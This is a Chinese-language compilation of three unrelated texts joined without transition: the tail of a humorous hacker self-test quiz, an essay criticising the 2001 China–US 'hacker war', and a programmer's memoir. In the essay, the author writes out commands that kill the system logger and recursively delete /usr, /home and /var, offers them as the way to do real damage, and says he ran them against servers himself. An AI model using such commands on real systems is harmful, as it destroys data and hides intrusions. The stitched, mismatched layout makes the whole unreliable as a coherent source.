0134 ... 反之呢？

0135 参加过用户/支持组织吗？

0136 《程序员》上提到过你吗？

0137 报纸上批露过你的黑客行径吗？
0138 ... 你仍然逍遥法外吗？

0139 硬盘正在工作的时候拔过硬盘（非热插拔的）吗？

0140 用德文写过注释吗？

0141 通过软件方式破坏过硬件设备吗？

0142 曾试图在《黑客测试》中提高你的得分吗？

0143 你吃饭时看程序清单吗？
0144 ... 睡觉时呢？

0145 修改过机器语言的Bug吗？
0146 ... 修改过Z80机器语言的Bug吗？

0147 你能写一个图灵机程序吗？

0148 你能在脑子里把后缀编码变成前缀编码吗？

0149 你能在脑子里把16进制数转换成48进制数吗？

0150 你知道怎么使用通配符吗？

0151 你和艺术家进餐时有没有被饿得半死？

0152 你解决过死机问题吗？
0153 ... 真的解决了？

0154 遇到过死锁问题吗？

0155 编写过自生成代码吗？

0156 改写过内存交换算法吗？

0157 你能阅读状态图吗？
0158 ... 你需要态图吗？

0159 你写过杀不死的程序吗？
0160 ... 无意中写的？

0161 用cookie窃取过他人隐私吗？

0162 有没有只拔一个跳线就让计算机跑得飞快？
0163 你知道“冰河”是谁写的吗？
0164 ... “金山网镖”呢？

0165 你知道什么叫“黑客”吗？

0166 你知道HCF是什么意思吗？
0167 ... 用过吗？
0168 ... 无意中用过的？

0169 知道什么是TSR吗？
0170 ... 用过吗？

0171 你知道20世纪的最后一天是哪天吗？
0172 ... 你庆祝了那天的到来吗？
0173 ... 你在第二天重写了代码吗？

0174 你知道DTE和DCE的区别吗？

0175 你知道RS-232C的引脚顺序吗？
0176 ... 你能不看图就做一根RS-232C连线吗？
0177 你有《仙剑奇侠》的光盘吗？
0178 你有《电脑笑话大全》吗？
0179 你有《黑客词典》吗？
0180 ... 你给《黑客词典》写过词条吗？

0181 你有流程图模板吗？
0182 ... 是不是从来没用过？

0183 你有你自己的注册表编辑器吗？

0184 你有《黑客食谱》吗？
0185 ... 按《黑客食谱》点过菜吗？

0186 你有调制解调器吗？
0187 ... 有终端吗？
0188 ... 有玩具计算机？
0189 ... 有PC吗？
0190 ... 有小型机吗？
0191 ... 有中型机吗？
0192 ... 有大型机吗？
0193 ... 有超级计算机吗？
0194 ... 有打印机吗？
0195 ... 有激光打印机吗？
0196 ... 有磁带机吗？
0197 ... 有老掉牙的外设吗？

0198 你有可编程计算器吗？
0199 ... 是RPN吗？

0200 你拥有过一台以上的计算机吗？
0201 ... 有4台吗？
0202 ... 有16台吗？

0203 你有串口线吗？
0204 ... 是T1线吗？

0205 你的计算机拥有单独的电话线吗？
0206 ... 交过电话费吗？

0207 你有磁心存储器吗？
0208 ... 有磁鼓存储器吗？
0209 ... 有磁泡存储器吗？

0210 你有40G以上的硬盘吗？
0211 ... 80G以上呢？
0212 ... 1T以上呢？
0213 ... 16T以上呢？
0214 ... 256T以上呢？
0215 ... 512T以上呢？

0216 你有DVD刻录机吗？

0217 你有个人的磁带库吗？
0218 ... 是组装的吗？

0219 你有16张以上的DVD-RAM吗？
0220 ... 64张以上？
0221 ... 256张以上？
0222 ... 1024张以上？

0223 你有8英寸软盘吗？

0224 你有内部堆栈吗？

0225 你有时钟中断吗？

0226 你想买《计算机程序设计艺术》1至3卷吗？
0227 ... 你做了书中所有的联系吗？
0228 ... 你有MIX模拟器吗？
0229 ... 你知道还没写的几卷书的名字吗？

0230 你能引用《人月的神话》中的论述吗？
0231 ... 你参加了OS/360项目吗？

0232 你有TTL手册吗？

0233 你有三年前的打印稿吗？
--------------------------------------------------------------------------------
工作

0234 你有工作吗？
0235 ... 你曾经有工作吗？
0236 ... 和计算机相关吗？

0237 你加过班吗？

0238 你当过系统管理员吗？

0239 你拥有的字节数超过了你拥有的人民币数目吗？

0240 你曾为了提高技术水平而换工作吗？

0241 你的工作稳定吗？
0242 ... 你能用代码证明吗？

0243 你写过离职炸弹之类的程序吗？
--------------------------------------------------------------------------------
游戏

0244 你玩过《吃豆子》吗？

你玩过……
0246 ... 《星球大战》吗？
0247 ... 《帝国时代》吗？
0248 ... 《三角洲》吗？
0249 ... 《魂斗罗》吗？
0250 ... 《俄罗斯方块》吗？

你玩过……
0251 ... 《垃圾》2.3吗？
0252 ... 《无赖》3.1.0.2吗？
0253 ... 《白痴》4.5吗？
0254 ... 《流氓》5.1.2吗？
0255 ... 《傻瓜》1.0.3吗？
0256 ... 《逗乐》6.8b吗？

0257 你玩《魂斗罗》比玩《双截龙》得分还高吗？

0258 你可以解决《推箱子》里所有问题吗？
0259 ... 100个箱子也可以解决吗？

0260 你写过游戏吗？

0261 你写过冒险类游戏吗？
0262 ... 实时战略类游戏呢？
0263 ... 多角色扮演类呢？
0264 ... 联机游戏呢？

0265 你能把《古墓丽影》打通关吗？
--------------------------------------------------------------------------------
硬件

0266 你用过光笔吗？
0267 ... 你造过光笔吗？

你用过……
0268 ... 电传打字机吗？
0269 ... 纸带吗？
0270 ... 行打吗？
0271 ... 光盘库吗？
0272 ... 机架吗？

你组装过……
0273 ... PC兼容机吗？
0274 ... Apple兼容机吗？

你知道如何使用……
0275 ... 半导体震荡器吗？
0276 ... 伏特表吗？
0277 ... 计数器吗？
0278 ... 逻辑探针吗？
0279 ... 网线钳吗？
0280 ... 电烙铁吗？
0281 ... 万用表吗？

0282 你设计过集成电路吗？
0283 ... 你制造过集成电路吗？

0284 你刻过印刷电路板吗？
--------------------------------------------------------------------------------
历史

0285 你有过从面板上切换启动程序的经历吗？
0286 ... 从内存中呢？

0287 你会编Eniac计算机的程序吗？

0288 你看过90列的卡片吗？
--------------------------------------------------------------------------------
IBM

0289 你在梦里背诵IBM的产品编号吗？
0290 你知道IBM产品号为7320154的是什么东西吗？

0291 你懂得3270数据流吗？

0292 你知道VM特权级别是什么吗？

0293 你从磁带上装过IBM的启动程序吗？
0294 ... 从读卡器上呢？

0295 你会唱IBM的歌吗？
--------------------------------------------------------------------------------
语言

0296 你懂得4种以上的语言吗？
0297 ... 8种以上呢？
0298 ... 16种以上呢？
0299 ... 32种以上呢？

0300 你设计过程序设计语言吗？

0301 你知道BASIC代表什么吗？
0302 ... Pascal呢？

0303 你能用BASIC编程吗？
0304 ... 你喜欢它吗？

0305 你能用Cobol编程吗？
0306 ... 你讨厌它吗？

0307 你知道Pascal吗？
0308 ... Modula-2呢？
0309 ... Oberon呢？
0310 ... Object Pascal呢？
0311 ... 你能说出几条Pascal的笑话吗？

0312 你知道Algol-60吗？
0313 ... Algol-W呢？
0314 ... Algol-68呢？
0315 ... 你懂得Algol-68的报表格式吗？
0316 ... 你喜欢两级语法吗？

0317 你能在两种计算机上用汇编语言编程吗？
0318 ... 4种计算机上呢？
0319 ... 8种计算机上呢？

你知道……
0320 ... APL吗？
0321 ... Ada吗？
0322 ... BCPL吗？
0323 ... C++吗？
0324 ... C吗？
0325 ... Comal吗？
0326 ... Eiffel吗？
0327 ... Forth吗？
0328 ... Fortran吗？
0329 ... Hypertalk吗？
0330 ... Icon吗？
0331 ... Lisp吗？
0332 ... Logo吗？
0333 ... MIIS吗？
0334 ... MUMPS吗？
0335 ... PL/I吗？
0336 ... Pilot吗？
0337 ... Plato吗？
0338 ... Prolog吗？
0339 ... RPG吗？
0340 ... Rexx (或ARexx)吗？
0341 ... SETL吗？
0342 ... Smalltalk吗？
0343 ... Snobol吗？
0344 ... VHDL吗？
0345 ... 汇编语言吗？

0346 你懂得VT-100协议吗？
0347 ... Postscript语言呢？
0348 ... SMTP语言呢？
0349 ... UUCP协议呢？
0350 ... 中文呢？
--------------------------------------------------------------------------------
微机

0351 你拷贝过写保护的磁盘吗？
0352 你发明过写保护的方法吗？

0353 你做过不可复制的光盘吗？

0354 你从坏硬盘上恢复过数据吗？

0355 你做过DVD启动盘吗？
--------------------------------------------------------------------------------
网络

0356 你曾一次登录到两个时区吗？

0357 你知道网络里的UUCP表吗？
0358 ... 哪个网络里的？

0359 你发现过sendmail程序的Bug吗？
0360 ... 是个安全漏洞吗？

0361 你记得HOSTS.TXT里的主机表吗？
0362 ... 你的主机表是最新的吗？

0363 你知道所有顶级DNS服务器的地址吗？

0364 你知道RFC-822吗？
0365 ... 你能说出其中的错误吗？

0366 你写过Sendmail程序的配制文件吗？
0367 ... 它能工作吗？
0368 ... 你在梦里还要说“抄送某某某”吗？

0369 你知道数据包的最大寿命吗？
--------------------------------------------------------------------------------
操作系统

你使用……
0370 ... BSD Unix吗？
0371 ... 非BSD Unix吗？
0372 ... AIX吗？
0373 ... VM/CMS吗？
0374 ... VMS吗？
0375 ... MVS吗？
0376 ... VSE吗？
0377 ... RSTS/E吗？
0378 ... CP/M吗？
0379 ... COS吗？
0380 ... NOS吗？
0381 ... CP-67吗？
0382 ... RT-11吗？
0383 ... MS-DOS吗？
0384 ... Finder吗？
0385 ... PRODOS吗？
0386 ... TRS-80的多操作系统吗？
0387 ... Tops-10吗？
0388 ... Tops-20吗？
0389 ... OS-9吗？
0390 ... OS/2吗？
0391 ... AOS/VS吗？
0392 ... Multics吗？
0393 ... ITS吗？
0394 ... Vulcan吗？

0395 你配置过RAID 1吗？
0396 ... 你配置过RAID 3吗？
0397 ... 你配置过RAID 5吗？
0398 ... 你修复过RAID 5吗？

0399 你发现过操作系统的Bug吗？
0400 ... 是你首先发现的吗？
0401 ... 你报告了吗？
0402 ... 你的报告被忽略了吗？

0403 你搞瘫过计算机吗？
0404 ... 是无意的吗？
--------------------------------------------------------------------------------
人

0405 你认识什么人吗？
0406 ... 你认识一个以上的人吗？
0407 ... 你认识两个以上的人吗？
--------------------------------------------------------------------------------
个人

0408 你的鞋带松了吗？

0409 你善于和陌生人打交道吗？

0410 你是不是可以背出一打以上的机房电话号码，但背不出自己家的号码？

0411 你在早饭前就登录网络了吗？

0412 你一天喝50杯以上的咖啡吗？

0413 你对选择性的问题回答“是”吗？

0414 你有最新的操作系统手册吗？
0415 ... 每种操作系统的手册都有吗？

0416 别人没法使用经你配置过的计算机吗？

0417 你做梦都在编程序吗？

0418 你看三维模型有困难吗？

0419 你不用鼠标吗？

0420 你从不用大小写锁定键吗？

0421 你认为菜单只该出现在餐馆里吗？

0422 你墙上挂着一幅计算机分形图案吗？

0423 你用软盘、磁带、光盘装饰自己的房间吗？
0424 你屋子里挂着DVD盘片吗？

0425 你敲着计算机看日出吗？
0426 ... 一个月里有十五次？

0427 你平常说话时说“死机”吗？
0428 ... “蓝屏”呢？

0429 你使用上下文无关语法说话吗？

0430 你用搜索引擎回答别人的提问吗？
0431 ... 用Google吗？

0432 你知道垃圾收集是一种内存管理方法吗？

0433 你在你的房间/办公室里找不到地平线在哪儿吗？

0434 你在酒吧里读《三联生活周刊》，想引起女生的注意？

0435 你有计算机认证考试的证书吗？

0436 你考过CCNP吗？

0437 你有并行处理系统上的工作经验吗？

0438 你通过计算机和陌生人约会吗？

0439 你通过计算机和邻座的人聊天吗？
--------------------------------------------------------------------------------
编程

0440 你写过Fortran编译器吗？
0441 ... 在学校里写过？

0442 你读得懂内存映像吗？
0443 你能在脑子里完成反汇编吗？

你写过……
0444 ... 编译器吗？
0445 ... 操作系统吗？
0446 ... 设备驱动程序吗？
0447 ... 字处理器吗？
0448 ... 直接写屏程序吗？
0449 ... 数据库吗？
0450 ... 专家系统吗？
0451 ... 边缘检测算法吗？
0452 ... 实时控制系统吗？
0453 ... 财会软件包吗？
0454 ... 病毒吗？
0455 ... 杀毒软件吗？

0456 你写过脑电图检测程序吗？
0457 ... 卖出过5套以上吗？
0458 ... 程序的输出混乱吗？

0459 你把π值算到过小数点后1000位吗？
0460 ... 常数e的值呢？

0461 你找到过1000位以上的素数吗？

0462 你编过自维护代码吗？
0463 ... 你确信？

0464 你编过第一次运行就正确的代码吗？
0465 ... 它超过20行吗？
0466 ... 超过100行吗？
0467 ... 是汇编语言编的吗？
0468 ... 它第二次还能正确运行吗？

0469 你用递归方法解决了“搬梵塔”问题吗？
0470 ... 非递归的方法呢？
0471 ... 用PL/SQL语言呢？

0472 参与过C语言技术问题的辩论吗？
0473 ... 你赢了吗？
0474 ... 你的论点成为新的技术标准了吗？

0475 你知道“B+树”吗？

0476 你知道“高斯算子”吗？

0477 曾花10分钟寻找错误，而错误只是敲错了一个字符？
0478 ... 花一个小时？
0479 ... 一天？
0480 ... 一星期？
0481 ... 你把代码给人看时，他是不是眨眼间就找到了错误？
--------------------------------------------------------------------------------
UNIX

0482 你能用Berkeley Unix吗？
0483 .. 非Berkeley Unix呢？

0484 你知道Unix手册中第4节和第5节的差异吗？

0485 在System V release 2的文档里，你能找到TERMIO吗？

0486 你在Unix文件系统中装载过磁带库吗？

0487 你创建过Minix系统吗？

0488 你能背出vi的所有指令吗？
0489 ... emacs呢？
--------------------------------------------------------------------------------
BBS

0490 你上BBS吗？
0491 ... 超过32个BBS？
0492 ... 超过256个BBS？
0493 ... 所有BBS？

0494 你在BBS上发帖子吗？
0495 ... 你经常发帖子吗？

0496 你在BBS上灌水吗？
0497 ... 有人跟你对着灌水吗？
0498 ... 有人封你的ID吗？
0499 ... 有人封你的IP吗？

0500 你是版主吗？

0501 你是BBS的系统管理员吗？
0502 你有权删帖子吗？
0503 ... 你删帖子吗？

0504 你记得……
0505 ... BBS上最长的帖子是哪篇吗？
0506 ... BBS上最老的帖子是哪篇吗？
0507 ... BBS上回复最多的帖子是哪篇吗？
--------------------------------------------------------------------------------
黑客

0508 你做过特洛伊木马吗？

0509 你知道所有特洛伊木马的名字吗？
0510 ... 你记得所有特洛伊木马的CRC校验值吗？

0511 你做过端口扫描程序吗？

0512 你用端口扫描程序扫描过你女朋友的计算机吗？


悲哀的黑客大战
几天来走了很多国内知名的论坛，对于这次的"黑客大战"可谓一个热门话题，各种意见都有，赞成的，不赞成的，乱起哄的，互相对骂的，令人笑破肚子的，真是五花八门，看看网页也有4天没有更新了，以次充充数，汇报我的观后感同时也说说我的一些观点：
1.首先这次话题之所以会叫"黑客大战"，其实是各个媒体对"黑客"这个词的侮辱，在我看来，一个真正的黑客是为了网络而生存，他的最高宗旨是获得一切他想在网上获得的东西。而不是单单的利用所懂得的技术去炫耀。技术永远是黑客心中的第一，黑客永远是走在技术尖端的人，永远追求最高和最尖端的技术并达到狂热的程度，才能被人称为黑客，黑客是别人给的评价，而不是自封的。
不过这些人大多数时事不敏感，对政治毫无兴趣，这些被称之为黑客的人，当然有入侵一部普通服务器的能力，而且是小菜一碟，一击必中。但是不是你能入侵一部主机，你就叫做黑客了呢？差得远了，现在的入侵已经非常的容易，漏洞已由别人发现了，利用这个漏洞进行入侵的代码也由别人写出来了，你所做的只是填上目标的IP，做个写上你大名的叶面这么简单，比起使用word来编辑一编文档还简单。而这次进行着这样的"义举"人，不管中国与美国，大多数都是这样的情况，所以这些人都不配叫做黑客
2.这次的大战，其实并不大，非常的小，水平极低，不管中国或美国，几乎所有可以称得上黑客的人都没有参加，就中国来说这些人现在不是在睡大觉就是在度假，有些还继续在和美国的程序员探讨技术问题，聊得正欢。只剩下那些所谓的红客用着大多数乃美国人发现的漏洞，大多数乃美国人编写的核心代码的所谓黑客工具，在干着会用win98就会做的入侵壮举。其水平之低我举两个例子说明，第一，竟然想出使用炸邮箱的方法来炸白宫的邮箱，现在我们就拿我的邮箱来试验一下好不好，你尽管炸我这个邮箱netdemon@20cn.com，我保证我一样可以得到我要得到朋友给我的来信，删掉你给我的垃圾。我都能办到，白宫的技术人员有什么理由办不到？第二，这个就确实令人笑破肚皮了，竟然认为同时一起来ping一个IP就叫做DDOS攻击，大量的人来浏览一个网站能让它瘫痪，还互相通告说"白宫慢了啊~~~~"，天那，国内的出口有多大？这么多人一起来排队出国去ping，不慢才怪阿，一个设置完善的服务器，绝对不会因为大量的浏览而瘫痪，就apache来说，其默认的httpd.conf，就已经足以保证不会因为请求过多而把整个服务器的资源耗尽。你也不看看人家美国的带宽，在白宫还没有瘫痪的时候，我们国内的路由器都给你搞瘫痪了啦！
3.各方都只是为了出名而搞出这次的所谓51行动，各个媒体当然是有热闹就凑，到现在我没有见过那个被黑的美国网站被换上的主页是没有留下其组织名称还有做此"义举"的"黑客"的名字的，相反，被黑的国内网站倒是有一小部分是没有留下什么的，这也难怪，因为中国被黑的多，就有某些不大一样的啦。当然了，每个人都不会拒绝出名，包括我在内，我搞了这个网站，如果一点名气没有，每天的access_log里面就只有我的IP，我也会觉得没意思，所以，当有些成员说如果他黑了美国的站，能不能留下20cn的名称的时候我说可以，为什么可以？一半是因为我曾经在某个论坛说黑了美国也没什么意义而被某些人骂了个狗血临头，说我这样说是卖国贼，另一半是因为我也想20CN还有成员网站都能出名，还有就是可以让一些大家实践实践，这样一箭三雕的事何乐而不为呢？尽管我并不想这样做，不过我却也好像只能用这种方法来证明自己不是卖国贼了，想想也真是好笑，不过幸好我们不是黑客，这么做倒也无所谓，何况我们也并不是留下FUCK USA这样会让人觉得毫无素质的话来给自己和中国同胞丢脸
4.换个主页美国有何损失？不外乎就是人家的网管就换回来，还发现了这个不安全的地方，修复了，而你就到处汇报你的战绩，让那些一点不懂的人对你说，你好棒吧，我好崇拜你啊，满足一下你的虚荣心，我这几天也不知打了多少次这句话，因为老是有人通过QQ给我一个IP地址或域名，我只好用这句话来回答了事，谁知道却有一个人的回复让我真的把喝在嘴里的茶喷了出来，他说"你想不想学啊，如果你把你的QQ号码给我，我就教你"。哎~~~~~~，确实，换个主页写上你自己的观点，也许可以泻泻愤，解解气，好爽。是吧？可是你有没有想想，你现在用的操作系统谁写的？你现在用的电脑的芯片是那个公司的？你在用的那个程序的核心代码谁写的？你在利用的漏洞谁发现的？最糟糕的就是电讯局那个让你可你连到美国的路由器它还要是Make in USA的，你在这样的东西上做着你的黑美春秋大梦你不觉得惭愧？火药是我们的祖先发明的，拿来当烟花用的，洋鬼子学了去变成武器打我们，现在你们是不是已经把人家的"火药"变成自己的"武器"了呢？王伟的生命并没有回来，但美国人却打来了，网络战争开始啦~~~~~~~，既然叫做战争，我们就不用管什么道德，什么黑客精神，什么我用的那东西是谁的了，我的目的只有一个，就是让对方有所损失，可你这样改个主页对方有什么损失？最起码也要这样
#killall syslogd
#cd /
#rm -R /usr
#rm -R /home
#rm -R /var
这样一来页面啊，用户资料啊，数据库啊包括含有你IP的log之类的什么都没了，高兴的话再来个shutdown -h now 这样才有用嘛，坦白说，这样的事在我看到一个中国被黑的网站上留下的话之后很气愤干过，但是当我重复了3回这样的命令之后我开始冷静了就觉得不对劲，因为这好象和这样的情况类似：如果你是四川人，你在广东的时候打了我，而我就跑到四川随便找了个四川人揍了一顿，冤有头债有主嘛，所以我再去看那个被黑的叶面，想找他的网站的联接，谁知道他那里却啥也没有，就只有个名字，这时我又想，其实王伟是给那24个美国飞行员给害的，应该跟他们算帐才对，但是，他们又好像是听命于布什的，那么我应该身绑炸药，找到布什和他同归于尽才叫精忠报国啊，可是就算我有那高尚情操，我也没那能耐，只好作罢，断下线，继续写我的程序。
5.据说，美国黑掉中国的站点比中国黑掉美国的多6倍。其实被黑美国网站的数量应该是可以多一点的，因为有某些不露名的人同样在干着黑美的事，我所认识的就有两个，他们干掉的站很少，但都是一些有难度的，重点的，遗憾的是他们不是改网页因为那主机上也根本没有主页可以让他们改，而是破坏某些他们不肯告诉我、就算告诉我我或者也不知道是啥的东西，所以他们也就没法向各位红客汇报他们的成果咯，而且他们根本就不会说，因为他们都是小有名气的人啦，出了名就不好意思人别人知道他竟然也做这事了而且他们还都有美国那边的同样搞技术的朋友，给人家知道多不好啊，不过奇怪，尽管我比较偏向黑了没意义，而他们就认为不仅要而且还要来狠的，但我们好像也互相尊重对方，他认为要黑那就去黑咯，我觉得黑了没啥用那我不就不黑咯，有什么好争的呢？但看看某些论坛，竟然争得各自连对方的妈妈都请出来了，我真的很难接受这样的人他就具有崇高的爱国精神？就算有，也没比我高多少吧？尽管我认为这个方式来黑美国没意义。当然，美国黑我们也不见得有意义，更没意义。
6.说到这里，总觉一下，然后睡觉。有句话说得好，如果有人打了我一拳，那么，我一定要打他两拳，但如果我现在打不过你，那么，我只好到深山老林苦练，等我的九阴真经练成了，我一定要找你报仇。所以，奉劝各位红客，想个法子收拾残局吧，这场战争的结局非常明显，你再黑多一些，人家就更多一些，还是尽量想法挽回点面子吧 ，对于各个现在还在扫描的朋友我劝你一句"阿尼托佛，网海无边，回头是岸"，而各个一知半解，认为ping就是DDOS攻击，却也跃跃欲试的朋友我就送你一句名言"好好学习，天天向上"，如果实在是听不进我的话，我只好再送你一句"主啊，愿上帝保佑你，啊们"


一个计算机高手的成长

这些日子我一直在写一个实时操作系统内核，已有小成了，等写完我会全部公开，希望能够为国内IT的发展尽自己一份微薄的力量。最近看到很多学生朋友和我当年一样没有方向，所以把我的经历写出来与大家共勉，希望能给刚入行的朋友们一点点帮助。
一转眼我在IT行业学习工作已经七年多了，这期间我做过网页，写过MIS、数据库，应用程序，做过通信软件、硬件驱动、协议栈，到现在做操作系统内核和IC相关开发，这中间走了很多弯路，也吃了不少苦。
我上的是一个三流的高校，就连同一个城市的人多数都不知道。因为学校不好也就没有指望能靠学校名气找一个好工作。所有的希望都寄托在自己的努力上了，大一开学前的假期我就开始了学习，记得我买的第一本书是《计算机基础DOS3.0》，大家别吓着了，其实当时已经普及了DOS6.22了，只是我在书店里看到了DOS4.0，5.0，6.0的书，以为像英语那样是第四、五、六册，记得当时到处找DOS1.0，现在想想也幸好我没有找到：）开学前我学完了PASCAL，那时既没有计算机也没有人可以请教，我连程序是什么的概念都没有，只好死记硬背代码，然后拿纸写，我一直到大三才有了一台486，在这之前用纸写了多少程序我也记不清楚了，只知道最长的一个我拿A4大小的草稿纸写了30多页，我的C语言、C++、VC都是在这样的条件下入门的。所以说条件是可以克服的，希望我的经历多少给条件艰苦的同学们一点信心。第一次上机是在我姐夫的机房，我的心情激动的无与伦比，但是一上机我立刻傻了眼，他们用的是英文版的in3.1，我的那点DOS知识都见了鬼，上机提心吊胆的一阵瞎摸，一不小心把Word弄成了全屏，怎么都还不了原，当时真是心急如焚，我以为机器被我弄坏了。第一个C语言程序，就是那个经典的HelloWorld，我调了几个星期，上机机会非常少，也没有书告诉我开发环境（TC2.0）需要设置，而且开始我都不知道有编译器，我甚至自作聪明把写好的程序扩展名从.c改成.exe，结果可想而知。大一学完了C、X86的汇编、数据结构、C++。由于精力都花在自学上了，大一下四门课挂了彩，三类学校就是这点好，挂上一二十门也照样毕业。不过扯远点说，我那么刻苦都及不了格，可见我们国家的计算机教育有多死板。
大二准备学VC和BC，当时难以取舍，后来选了VC，不为别的，只为书店里两本书，VC那本便宜6块钱。我的努力在班上无人能及，学的日夜不分，大三有了计算机后更是如此，很多次父亲半夜教训我说我不要命了，我一直觉得自己基础差，记忆又不行，条件也不好，所以觉得只有多花点时间才能赶上别人。居然后来有许多朋友说我有学计算机的天赋，让我哭笑不得。我用的是486，16M内存，1G硬盘，当时同学们的配置都是P166MMX，我安装一个indowsNT4.0需要一个通宵，编译一个BC5.0向导生成的程序需要近两个小时，我的显示器是个二手的，辐射非常大，开机屏幕冒火花，看起来很酷的：），有一次程序写的太久，觉得怎么白色的编辑器背景变成了紫色，以为显示器坏了，后来才发现眼睛不行了，不过说来也奇怪，到今天我的视力还能保持1.5，真是个奇迹。但是就是那台破机器陪伴了我两年，让我学会了VC、Delphi、SQLServer等。后来那台机器给我阿姨打字用，据她说一天她正打的开心，一股青烟夹着火苗从显示器钻出来，之后它才寿终正寝。
大三假期找了个机会在一个计算机研究所实习，与其说实习不如说是做义工，工作了两个月一分钱没有拿。但是这两个月对我的发展帮助很大，让我早一步了解了社会，刚去的时候我当然是一窍不通，在那里我熟悉了网络，学会了Delphi和Oracle。由于工作很认真，得到了比较好的评价，在一位长者的引荐下，我开始和他们一起做项目，这使我在大三大四就有了自己的收入，大四又找了两家MIS公司兼职，虽然钱不多，但是在学生期间有1000多的收入我已经非常满足了，我终于用自己赚的钱把计算机换了。大四下开始找工作，这时我的工作经验已经比较多（当然现在想想非常幼稚），开始听父母的想去那个研究所，实习过那个部门也希望我能去，但是不知道为什么最后不了了之，这种单位就是比较官僚，我一气之下就到了我兼职的一个公司做MIS的TeamLeader。在大三到毕业一年的时间，做过了各种MIS，从煤气、烟厂、公安、铁路、饮食到高校，什么有钱做什么，工作也很辛苦，经常加班和熬通宵，从跟客户谈需求到设计、编码、测试、交付都要上。那时觉得很有成就感，觉得自己还不错，现在想想真是很肤浅。
刚走上工作岗位的学生很容易被误导，各种开发工具让人眼花缭乱，同时也觉得很受公司器重，但这样工作永远是一个低层次的开发者。不要跟我说什么系统分析有多么多么重要，多么多么难。你以为自己跟用户谈需求做设计就是系统分析和设计了吗，国内又有几个公司能够做的很到位很规范？我是ISO9000内审员，也在Rational公司受过多次培训，拿了4个证书，还有一个公司让我去做CMM。这些我听过很多，但是很多事情到国内就变了性质，一个公司不是通过了ISO9000或者CMM就能规范了，我现在在一家有几十年历史的外企工作，里面的管理不是一般国内企业能及的。作为一个毕业不久以前没有步入过社会的学生，几乎不可能在很短的时间掌握系统分析和设计，面向对象、UML只是一个工具，关键是人本身的思想，不是说你熟悉了C++、Rose就能够做出好的设计，相反如果你具备了很高的素质，你可以用C写出比别人用C++更加模块化的程序。
话说远一些，国内软件开发行业有一个怪圈，很多人觉得VC>Delphi>VB，真是很搞笑。这几个软件我都做过开发，说白了他们都是工具，应该根据应用的需要选择采用哪个，而不是觉得哪个上层次。如果你因为用某个开发工具很有面子而选择的话，只能说明你很浅薄。如果说层次，那么这些工具都不上层次，因为它们用来用去都是一些系统的API，微软的朋友不会因为你记住他们多少个API或者多少个类就会觉得你很了不起，你永远只是他们的客户，他们看重的是你口袋里的银子。我也做过系统内核，我也封装过很多API，同样我也不会看重那些使用这些API做二次开发的客户，除非他能够作出自己独到的设计。
至于有人认为C++>C那更是让人笑掉大牙，不妨你去打听一下，现在有几个操作系统内核是用C++写的，又有几个实时系统用的是C++，当然我也不是说C++不好，但是目前的内核和实时系统中C++还无法与C匹敌，至于说C++适合做应用系统的开发那是另外一回事。所以我的观点是不在于你用什么工具和语言，而在于你干什么工作。你的设计体现了你的技术层次。
这样干了一年我觉得非常苦闷，做的大多数都是熟练工种的活，个人技术上没有太多的提高也看不到方向。所以决定离开这个城市去上海，寻求更好的发展，并且打算放弃我以前的MIS转到通信行业。

写到这里不能不提到我女朋友，我们是在来上海前半年认识的，她大四在我公司实习，公司派她给我写文档，我们的感情发展的很快。她告诉我很多事情，她家原本是改革开放的第一批暴发户，她母亲爱打牌，输掉了几百万，还欠了很多债，她有男朋友，但是她对他没有感情，只因为他给了她母亲两万多块钱，后来还强迫她写了四万块的借条，她男朋友背叛过她并且不止一次打她，现在逼她结婚不然就要她还钱。这人居然还是一个高校的老师！她母亲把父亲给她的学费花了，因为拖欠学费她没有办法拿到毕业证。她母亲现在有病需要钱，我拿出了自己的一点积蓄并且跟朋友们接了一些，替她交了学费并给她母亲看病（后来才知道看病的钱又不知所终，就连她母亲是不是有病我都不知道，但她也是没有办法）。这个时候我家知道了一些事情，坚决反对我和她在一起，她原来的男朋友也极力破坏。无奈之下我们决定早一定离开这个伤心的城市，并且瞒着我们家。由于时间仓促，我只准备了4000块钱，她仅有的几百块钱也被她母亲要去了，我买了三张票，一张是中午的，两张是晚上的，中午我的家人把我送上船，他们一离开我就下了船，我和她乘坐晚上的船离开了这个我和她生活了很多年的城市，带走的只是一身债务。没有来过上海的我们两个性倔强，都不愿意去麻烦同学和朋友。来到上海是傍晚6点半，我们都不知道该去哪里，我们找了一个20块钱的旅馆，这个房间连窗户都没有，7月份的天气酷热难耐，房间里非常闷热。第二天我们开始租房子，因为身上的钱不多，我们基本都是步行，花了一个星期时间，不知道在浦东转了多少圈后找到了一个400块的房子，但是我们都不了解上海是付三压一，还要付半个月的中介费，买了一些锅碗瓢盆后，我们身上只有800块钱了，工作都还没有着落，这800块钱要支持到我们拿到第一个月工资，为了省钱我们自己做饭，每天买菜只花两块钱，她非常喜欢吃（也可能她在大学经常挨饿的愿意），看到她现在这样省吃俭用我真的很不忍心。她以前的男朋友也没有放过她，经常打电话来骚扰，并且来上海看她，还说了不少恐吓她的话，她过于善良，说他以前毕竟帮助过她，叫我不要与他一般见识。以后的每天在家就是苦等面试通知，原本我想迅速找一家MIS公司解决眼前的困难，但是她坚持让我不要放弃自己的理想，终于功夫不负有心人，我找到了一家通信公司，4000块的工资虽然赶不上MIS公司给我开出的价位，但也够在上海生存。她也找到了工作，第一天上班她哭了，这是她来上海第一次流泪，我心里很难受也很感动。
由于是全新的行业，我把自己降到了零点，我学的VC、Delphi、数据库派不上用场，摆在我面前的是嵌入式、协议、信令一些我从未接触过的知识。我知道我没有退路，于是拼命的学习，我把自己当做一个应届毕业生一样，一分努力一分收获，半年过去我终于熟悉了工作，并且得到了公司的表彰，薪水也加了一级。后面的日子里我们省吃俭用，把欠朋友的1万多块钱还了，日子终于上了正轨。这时女朋友告诉我她想考研究生，我也很支持，于是她辞职在家备考。
另外，在这里我要感谢我的ProjectManager，他原来是一个大通信公司的产品经理，对人非常和善，我从他那里学到了很多知识，而且他也给了我许许多多无私的帮助。在工作上他给我充分的空间和信任。记得公司安排我维护一个接入服务器软件，由于代码量不算太小（5万行），资料和文档都不齐全，我维护起来非常吃力，所以想重新把它做一遍，公司领导不太支持，可能觉得工作量太大，但是他极力支持我，私下里他让我放手去做，我的维护工作他挤时间做。在他的支持下，我花了半年时间完成了接入服务器的软件，并且实现了一个相对完整的TCP/IP协议栈。在这里我学会了嵌入式系统设计、驱动开发、TCP/IP和很多通信的知识，我花了一年时间终于使自己从MIS开发转到了通信行业，并且站稳了脚跟。我的开发大量是对硬件的直接操作，不再受微软的操作系统，VC、Delhpi这些开发工具的约束，我终于看到了另外一片天空。
